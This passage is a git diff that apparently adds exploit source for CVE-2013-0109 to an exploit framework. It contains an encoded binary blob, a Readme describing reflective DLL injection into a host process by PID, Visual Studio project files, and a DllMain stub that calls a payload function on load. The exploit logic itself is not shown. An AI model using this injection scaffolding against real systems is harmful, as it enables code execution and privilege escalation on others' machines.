z!`YW~=QEB?&?&aQL5XUYr3!{)W^)@pjOwfgA2@@lNZtnbMFh7^!D}g=Iy~1N!CljM zm?+oJG&SVMpxFAEF=~rhZ54$d9w;2lJOC@8OfV?M7d{Dv{}_PUX27T|CPEMfCP=Lx zNJSa(K;#_iJ&mUm&nY~|@Epc-5D&|Hyi?12q7yEM%i*4edm3&x+-|t%;GToq3%3_; zAKbp6C5Wa==5BLulo~oUIt|YhJOy|#CzdZc)Vz&aJk)QrJ`w{QFQW*^5rqxPxAp}$ zX7@$lDyB1#U9jWVnfN@fTAb#~-tLg3@hpVf^&C z6|NPo1+L}tzAra-wX;2=?f7?Ylrj$+6EXS?y|m%?ChL_n=%ws zj5BRopi7_=;c2@uC|8`8)SSs=ErIW0Db@bIm+A2CFh;gvfli_#%UO=FzZ*%g!={b% zMX;CgX%|>3`#UJ1kqXg2rto1A&KL;q5aB7&aN{)iutYih&l)8nPh%G1w$qCha^t|* z9g=5eClIWBCm{4p^5O$+_-+L(WhY~Qmqy6QV}pgKiYm#_4O(|x9z#@Ij|YEsVOVV; zCj3+>?AlJaxIJ9H0Ryh5*VfYV-d(%LBjzIYsAujzDAtjbb`)77M zz1_aYiVF&K5rnWDAmuS4<=>DiO3JqkQj+n}h6(taCYxa6YgQ7sx8pRttXVi(f)U`m zkT0?*E`(PsiXywf(8piGsw1v(dbbNP6@NKmSWgXYYfZ`s`YRMEJ-KiA^KuJ^|C5Yc-bmnMJkh7n85Ju{qvWI)nG71 z-}KM73~WWzoTnj&^y9+@bT+r00ywF|pMrosUBXsDqJ0Nh=vr|~m((i=E`I?_V(Xw@ zEMl_^qkyFBGKcKQnn3rw$okh{br^u)T9??vbo1dafX2coS(#t}#o2d{#DFkNjg5O? zIBg8S2b~eV$sOnA^Kfo0tW~P%_830Q29f20Y11SeQEg0h9nCJoAHF#-4^mf=uX32M zAtp6ypb5}4upDlYr7AV6+yo288p<#1kt;CHB4)i^KZT!v_n*|&Wd1x988AwhTZ~ju zQ>SI0>->Rf8#dZdkmPJ7_1;^(m&$nOO#tu%Bx^X1Z zRyCZ3N}tBp6fMr?n`kQ%z#qGbjy6M^{NBbz?gaX-&01_d=w$m0wpCGue>}APhEo4_ zby|ilXGCo!#;3n0J7&q&S<2|*%5!0Bapgb4=Hkj8J*kg|OT21}15bpLc&uo*I0i|8 zSEG-rU<(k@3ZR#0XPC^-KpRS|ejM(=h`8)Z?N$8!2+SV_VE6)f!+#XJ!pOZ^`jY@1 zz}bqe-}}sh4{yQ_VK0rqcL7VHE`2#id_!mO^EnZ_Gu&S;wrn(^J8YAY&vkv8te z-~t_fct1FpXQI5*khiRv`q!F{zl>lvhsGTm5h@kmiXMoKkH*sHS4&un*hAU_Az;Ri zsGn~ReH|~ai2iNd3j69fJae&;T z{&~FtV|!zNF~jMW`~j2w6^j$s?O}p>NJl(wcQnL_q!yFC(c)bD z4L0!yQ=tx_otE)~VY!8jxz8WKlqxCHSj<$Dax*erH+7jwnKT^S6XK4k(_@seh#WO_ znOSk*76|^n&G1eb&!R!i+r~8==}?XM*{dZ>VKr|5%I}aKs_Gkd}sO z+n(t=f4V!B=ycui&W3pTdenX`a$@T>^{cA5sef4?6Z7TNR`{CXYnj@C1sOK~M_h-d zcF4nEqowOrG3P&Fp+&SaiXs}NA6d`i>cfaO+C3}7u%ow}{~UJ^iqC%@xdwqN4QAs) z#OLOZ79mNW)P%7ElKe0HEITCW3Op0=T!-g2Ja^$K$0OsR4>kS*&+qW;$MY$kUOcwn zOOg}MG(2B}evslH+gxGT1Z!u1Sv9koJA}H%5P4L~+E`cj0;V z6+FM97)d$-*^vI)RhqO)QlypmcY}yeTcxaA2`_99;v@_chh&bE;$j>YkH-^BzswBD zOOR=)S>A>5R_P}h86{qr-KVBnDcZW!zZ5?ZVa*2otbmZ>C94&V75^wG-7R^fdD2|G z=SVK;HtA+55575+UCLj%Hot1c3UZ5A$i8JO72%&b#6NxI%GLJ~?2Oe_o(&Jk-m2C2 ztysHOk{*=SO7}^tr7CF!{@pAs7wsZQTuVh4K;MEorxj`DgDOTXz6HxCrK56^?ry?9rNw7H2v29Q5#je-)tVHyt^vqzBLogyS;!?-O@N@{xWoLW+os z=36E>k)SBXz*hp75RQ^$;Drms0v{@yaER7zxT_-dP=2HCXuaSoQ76GsJygyzV6ULI z^#Fe0&vEGh@jDyeYU!xGAXTSa-L*~?Z*#mi)+YB>_9 zys8I;Z@yotS{sQgS+RW8ib!C-V)zPIuM(-nO2l0zQ(g)AB*066lK>+jU5cxz*-}$m zg9*&MrDn_j)!wzhM^T;o34~ifw9!Tz1j|5CLrcQU>|=K4nUDmD1Xz+F52LVTCuC(` z?ruWj0|J6lixw5Fk0^+!Sfj=k6)kOpr4?FGhv8nuS zd#^V$zi-dXd3>+)ecw4VXJ%(*OYV>%h+wN%uO7lM9M|G&p+BL_KilJ*(}MVfAm;O} z0V`~N%bFInVi3ma>+6RO{Yq0Twlo&Yh+ky65%gdX-ekZN$)Dort2mBnJCPY~rqzgP zGtqlh8Fj4EDyAH^eaDX<&guIe*GaRC)!=zRKJjLM1@>B9x77)cR zc`5NY9bA-yAJ&YJ0W+`8=w0w}LF%gJkqCJSoh&n!wJ_-zL7M3u^7*a@T6B53+V zAxg?kDJ`sF!rrkXa|n)FF@X(YR+zMscBAPX(r)!k|s@ zi+rAC@|j7<4FTH(oYete1m`3(Nl7_m1*A`ssJEsfCXZx2R*WV2EUW2mS!(h`(USNo z?6M`hzlE;;j-V|`Y@i-#YcXVHK_P~=6zPc{3wsEuB`xI=UaKUGnl|^gZP|4AE;`4y zE5ef5--O%NcM0sX8t2q6qGa%RfF5}g`REs+=jx&t zgH2j}-w0fB;H2?B1g-V<9NQPWHD=kNz&N|`^!1GPrMW82gKdn7 zE^h69=WumHbZC68L%&2#-B8q^u`Y&lI;JR2qZ5sEmS$-5u%f%whODbw7i3p-P1kV; z{&)&$JyN=s$U#aok6pJjIdm}?LwYjhBRz%kTbZ1%Q9jZa_|-dQ-pLB z(!IAbIir!bAjMliOc7GNbjLK^!sM_>bC8Zj%6=bfi%37YiOHdfTqn{?knTiE4|i=x zid)r8E7IwvZ_xNiK2vAPd>-;hZYwI3FyF?`!ehv?$%3ufRRxadYQerTV4zQHepQGu zq!9QO=#4NhHfz!NOOe`YO}Lhr+FXiX4YjFnGAWdyoi%?OYvT50V3UAvU}K?$%sn6e zYwel&$3B~iI|-k+uVQ-dne|sN-8+36t3P`>hLueBJ_!EPpWSXhU;#{z-ltx!|94wJ z){3q@tDl?QgOsk!>fQ%s^>4S^lf1{b|1%FDO1ao=igea}oP)nJ`d7A|_4_AncdZHIs*Ij?Z`WtWh{>``CdRy!5cWl^r=cc7O&`m>H5PyT%8FMj#duBUfDv*+38 zp5Obzi!bf_)yu!$|H^?^5B}!0-**1)(C-hw{)ayv`O_PJe)BJHy?ykr@BHoE_ul{e z2Ooa)@h6{t_75g&(BSML|Miuj!-k(Q;>44_nsf3gU&}r9w6EulJbl#YGrlo~9Xsxu z%Vw%Nom=XbEcM`JFQ~+jG4Y!l~vXFE1tRY z=3DyjyZnEJ{&6EZb-#H|FcOF^txEcnLELjf{_KPipSkEFqc&L{sf)(LX2Bfz49Y6} ziDYqYGT3PNqOpdUnP;6_Xqf4^gY92zOpZ3qVP@lA4c#H{d2gKj?|99>Z}s-e{FxHm zo06!?YnS;{Q%*vi$}vL{{2ZdWT3MrvXLko@F)E&bU}o{{;*+{ zXh0J6CfbDp1SU5GLndCMDHe(blWbvOp~bf;WYS-|gsqK6mjn%#JF7{eBH*U7NMmE7 zv9{1?GT24_L|QRc7mj1=U~)R~!3SEisH`fjdMLVJ9IFqB9& z=SCMLYHAye0)gWl1suBUQXJux2&-Q`yGRxET z@#hP`7l8P%b(dcLj|H%ug_-3&_4KAcv%Dw$jac(c$KSJj$>PlNo_bcIpI?4zEVI0) zetzAYS>6->j#ZiEJ^3582G_(7k_6V~Ye%}yKFdr8*1j!$tYJ#b0b)upWE3-J4xy-R z&wUM z&U`6*cBI}U94Kq5#S$AvL~uz+nY**Gu-$j@;POPNv8ZA3Vk7R08woJTyv39eKP5Dh z)%rtKm|@VAgYgcoF#L^1ulzSqKV6PrWLJk0sa5l*=orFVE9<-HtZSY9mvm;XzP~-F zoG4>3DiH&=5-L71Nsp$wTuSbG*e%9_ekNP`hmzwIu}=2Lccb ztC-IZnrirCCP8LoR{BzYlyF)-R}yU?$^mL!l?j z@Nd*RWFXbeG2Cypu=wN2h8RuK<}fdy&qGGCCl2Oo-I7x48JMCJGmJlrxGjq`2IJ8P zsiZ0y#{?iThdFu3oM6Bx!7QRWI=vy33{GxN8q5Kreyr-uv!?8peKX8+=2@wcNXDbh z%)NtWH5l<`pAk2wk&#-%lm*6f194RytX-1Q%8uT)2SaW)rEE@MVYfO6z7wYWIAY>v zeIJRAKfDL7;u0Ujh*W=O*>pM{4*P>`1Op}H2$+#FdD)f8(Co-kOm~@QOg=4BdeJ3%krfdp+o73kNSE@_XnYDLpAB(1 zvgKv_OnItcPk4gJiZvw`r*oLA2veH%eJ?FCflz9*pSL-*74vlD*{~ny2LYXcqqx!f z7E*?>=R_2c7E~H_A#&?RgVbomi?|fd|E~#skLux(KP&CTf9;VDD7EfDq%>mYW@?A- ziIdLz+NhjhU>ndte>KpAXI|?8WLNm_3)6nchUi*|QhJVz)>80T308W{=jP1ky6{At z`CJ#R&x`=j`V6IXu|{R|ESgZ)U~ykSGdUh zf?HOqot@ff>~lNqE5EPuf3?1i$4>3`U*0sQ&&`sV?Q{Eb=%nwP$(DS5-;Min$WK!A zX#%McyiXHgzdSmCB>%@vfxb?ZH7I-NW(<4_S2nL4o9di@j8p&a(lZtOs9!HvxwM2LXEk+W~EWn*pl;Nx(wDT!0TS z6;K55060KCfCc0MasWdC4B+SuzzNt3*a@Ke+mN;aS^;YSO@IKv2bc;d0!##C1CHWv z#HllEzI%1dac0mrtkO{&?>X_=lUMp*9-GFxJE5a{px1lx&OK<;_l~}WcQ*P1goB=I zAz*-$#XH{r43?+1Y}6l*`h5ZMNW5KtS2wRjh8=PPJqpyd(cCP3TaWtW3nVk~)l+s~ z@w|$e#ideun}Op24Gd^tKm!9B7|_6g1_m_nMKnP7*J!pu_t*d}bVi$a43>c$2G(wQlhrr2>TNS;b3h%nuyjV3u>cb z$)5-pHuB?GEdK@TurzZX79+6krjFwaxpCTw!&z2I#__@&t)}!7o5N~{mI4jKzT%A9ZFve-hq%Pc3s`qX^IzT(o-@)_sM zotrv1o^zU=wxa(=a?`jt_kHeR?#EmQx0`#O+sD1ay~Z8p{=yC7NARcd0$;*c@-=)N zzmmU!e}I36e_D86*e4tkMmQ!poR0Yp!|`3m9ga4~%Z?+CPaV0=vz(mM?Nps}oUP9L zolD(Ux^ME_?a7yBNl|H;v{qUtt(R_=TBXONXQXzmLo@W4e!2dL{)E0$|3C**EW^+e zP7asHjpgQZ*K+H*Te*k0-*KOEr}Fjujr?F?nDABMRAH1bR>&7732s3ZN`+}cr7&Mu zBwQpk3d@C6!qvih;dWt*uvK_mcv^T4JRcB_3V#U!F>&vm1_K%6FCEWRLiiXV&RvR7H9 zKBfLm&DGx3$w_?hgHwf(!WrP|OksjhAn<}F_yi7=&H;tBj$0fX90wgAI7T@Ooqp#s z=Zj9ly~p)Om*%c=&v)0kL+&Q`GWS*PYuq=vH@UaC+ue`4pLFkX|H}Pa_v`Mr-6xA@ zi522n@p^H)_@uZ?d`)~`9PPQu^SI~do{v3)y)(TFyoUE;?^5qo-fO%!csF_5y-#>M zyf1rS_5R-bC+|`3``%BzgQXLsQ>3p;W2Ah^DS0JLDwU>6Go&hMo^+uUmadS#BV8xm zB;6t1CEYKzqo;m}zIs7AAblh;a-Liwm&@nNtL1CuTjdwz1M(l_F-pGTRD8;L$^xZM zS)+Wa3{mscZ>ssKq?W4Xs-Z^J)#^I+2kIm0Pt<4Cm(;`R8QR&}bgf#8Xbsv%ZH!)~ zPtzM<1v~VYb*2bwda!{rxU;!R?jmjt*Tx;>-r`2{I$y@m=P%(m@IT-m=l{xo%qzk< z!YuTASSWC6&MD3c=PcOX&z(;@Uw5A9n&&cHNmsM$R@VmCQ?8d>2VI9;M_hh!m3WuuBTqC#3d*u)1(aIyrJIXM%S-V=>slA}Rs{KiONBczMbQzLesMqV4 z>KjNhdU>2#i{u3E8?f#Bxp%o*_}1TH)u+LlOJK)Uu;D9&4Y1t@g~x>L!ZX4)$aR9d)SVPB6%Rs&BjSzTA9-`oFW1SfO1&CZm#ep{537%< zh1vyLtrpkb*51?pp@sE?zFdD)e@;K7GYj#hUGOrJ8^ev~1Wx1>u9%y}wQyI0w_kAw zxLkfD&+=#T6L}uG-^ky`Kg5f|6k#?rUN2k&A8SPr6N=b*^xJ5B;$h{c)Ph;acu`z%@j?QhZ%pi-ls5SSbd?tHoCFL9s)8 zQ9KNf80tCQGtr}Ye4a&~N8uRToSb%hmF<(b`Jw8gTfKwpH7vZP$LI zeMR@`MS7_|Rj<%}dbK`RuhH+(+w^vQtG-RAQS~zLKAbDyJeo z?pNF&x+_Hd|EhSO__8?IbCO5#oa?#PyWV??cLV(XN*P4g(fiJLUVzWzN24Dn@*KaA z5AfsliMmr)z;gxotA z$|_}}(x&WEjwnObTy)iZ zhq4n=?@{(D`;`64L8VhU3?00w997;`K7cMps5#I_o;q4()$xdb6IG9@s6~i^Q`HJ+ hsal<@)~E}iD|E}iHlTq44Gd^tKm!9B__u1{zX9`va5ew{ literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2013-0109/LICENSE.txt b/external/source/exploits/cve-2013-0109/LICENSE.txt new file mode 100644 index 0000000000..f217025f51 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/LICENSE.txt @@ -0,0 +1,25 @@ +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/cve-2013-0109/Readme.md b/external/source/exploits/cve-2013-0109/Readme.md new file mode 100644 index 0000000000..814e6e7517 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/Readme.md @@ -0,0 +1,40 @@ +About +===== + +Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. + +Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. + +Overview +======== + +The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. + +Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. + +* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. +* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. +* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. +* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. +* The library's headers and sections are loaded into their new locations in memory. +* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. +* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. +* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. +* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. + +Build +===== + +Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll + +Usage +===== + +To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: + +> inject.exe 1234 + +License +======= + +Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.sln b/external/source/exploits/cve-2013-0109/dll/reflective_dll.sln new file mode 100644 index 0000000000..eff992d77c --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/reflective_dll.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcproj b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcproj new file mode 100644 index 0000000000..33c6bd9515 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcproj @@ -0,0 +1,357 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj new file mode 100644 index 0000000000..b233a13c97 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj @@ -0,0 +1,266 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + + + + DynamicLibrary + v100 + MultiByte + true + + + DynamicLibrary + v110 + MultiByte + true + + + DynamicLibrary + v110 + Unicode + + + DynamicLibrary + v110 + Unicode + + + DynamicLibrary + v110 + MultiByte + false + + + DynamicLibrary + v110 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + exploit + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Windows + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + + + + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + true + Default + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\ + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + + + copy $(OutDir)$(ProjectName).x64.dll ..\bin\ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.filters new file mode 100644 index 0000000000..9bb86dca22 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.user b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.user new file mode 100644 index 0000000000..695b5c78b9 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDLLInjection.h new file mode 100644 index 0000000000..5738497f5b --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDll.c new file mode 100644 index 0000000000..d70da51fd1 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDll.c @@ -0,0 +1,32 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; +//===============================================================================================// +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + run(); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.c new file mode 100644 index 0000000000..594c0b8066 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.c @@ -0,0 +1,496 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// 